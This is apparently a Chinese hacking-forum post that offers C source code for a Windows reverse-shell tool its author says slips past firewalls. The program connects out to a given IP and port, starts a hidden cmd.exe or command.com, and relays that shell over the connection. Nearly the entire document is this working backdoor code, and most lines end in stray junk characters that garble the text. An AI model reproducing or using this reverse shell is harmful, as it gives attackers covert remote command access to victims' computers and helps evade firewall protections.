这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {i<L<Y(3
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/* ============================== ~v@.YJoZ4Z
Rebound port in Windows NT )%JjV(:
By wind,2006/7 HIqe~Vc
===============================*/ FrsXLUY
#include j6d{r\!$4
#include *snY|hF
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#pragma comment(lib,"wsock32.lib") XI'.L ~
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void OutputShell(); %oOSmt
SOCKET sClient; OwN~-).%-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P6 7*-Ki
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void main(int argc,char **argv) hg7_ZjO
{ oe*fgk/o9
WSADATA stWsaData; 3:aj8F2
int nRet; QQ/9ZI5
SOCKADDR_IN stSaiClient,stSaiServer; (kVxa8 0
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if(argc != 3) !GJT-[
{ Q 5&|1m Pb
printf("Useage:\n\rRebound DestIP DestPort\n"); >l b9 j>
return; W%1/:_
} k?}y@$[)
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q%/\
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stSaiClient.sin_family = AF_INET; m f\tMik<
stSaiClient.sin_port = htons(0); nKmf#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '=+gweM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @8Cja.H
{ <M,<|Y*)
printf("Bind Socket Failed!\n"); ?L| Ai\|
return; 0Q~\1D 9g
} ^)o#/"JA
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stSaiServer.sin_family = AF_INET; }ww`Y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 19:1n]*X<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?jU 3%"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E&ReQgBft
{ -nZDFC8y$
printf("Connect Error!"); R_=fH\c;
return; _ mgu
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} p@?ud%
OutputShell(); *Oq&g\K)
} F;MACu;x
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void OutputShell() ,ZZ5A;)
{ h05BZrE
char szBuff[1024]; YB_fy8Tfx
SECURITY_ATTRIBUTES stSecurityAttributes; l15Z8hYhj
OSVERSIONINFO stOsversionInfo; 6H!l>@a7v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yb-4[C:i
STARTUPINFO stStartupInfo; @zJiR{Je-U
char *szShell; wn.UjxX.
PROCESS_INFORMATION stProcessInformation; \"X_zM
unsigned long lBytesRead; #"-DE-I[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `NyO|9/4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w}YcAnuB{%
stSecurityAttributes.lpSecurityDescriptor = 0; R1Fcd@DWD
stSecurityAttributes.bInheritHandle = TRUE; }((P)\s
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N+vsQ!Qz
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z2jS(N?J1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "g/UpnH
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K."W/A!
stStartupInfo.wShowWindow = SW_HIDE; |9[)-C~N7
stStartupInfo.hStdInput = hReadPipe; /2cn`dR,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wauM|/KG
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GetVersionEx(&stOsversionInfo); T[-Tqi NT
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switch(stOsversionInfo.dwPlatformId) v
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{ DG,m;vg+
case 1: '8LHX6FXK
szShell = "command.com"; F5H]$AjW
break; Q6p75$SVq
default: R8Dn
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szShell = "cmd.exe"; 0S\HO<~k
break; <.ZD.u
} [KMS/'; ]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bw.?Me)mf|
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send(sClient,szMsg,77,0); eI@G B
while(1) P!!:p2fo
{ U%K gLg#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [4-u{Tu
if(lBytesRead) JmuoYl f|
{ !
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L>rW S-
send(sClient,szBuff,lBytesRead,0); Mn*5oH
} uFG ;AY|
else 0xV[C4E[6
{ LAGg(:3f3
lBytesRead=recv(sClient,szBuff,1024,0); b~?3HY:t~K
if(lBytesRead<=0) break; C9j5Pd5q1L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "uBr]N:
} :eBp`dmn
} \wp8kSzC
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return; 7U-?Rd
}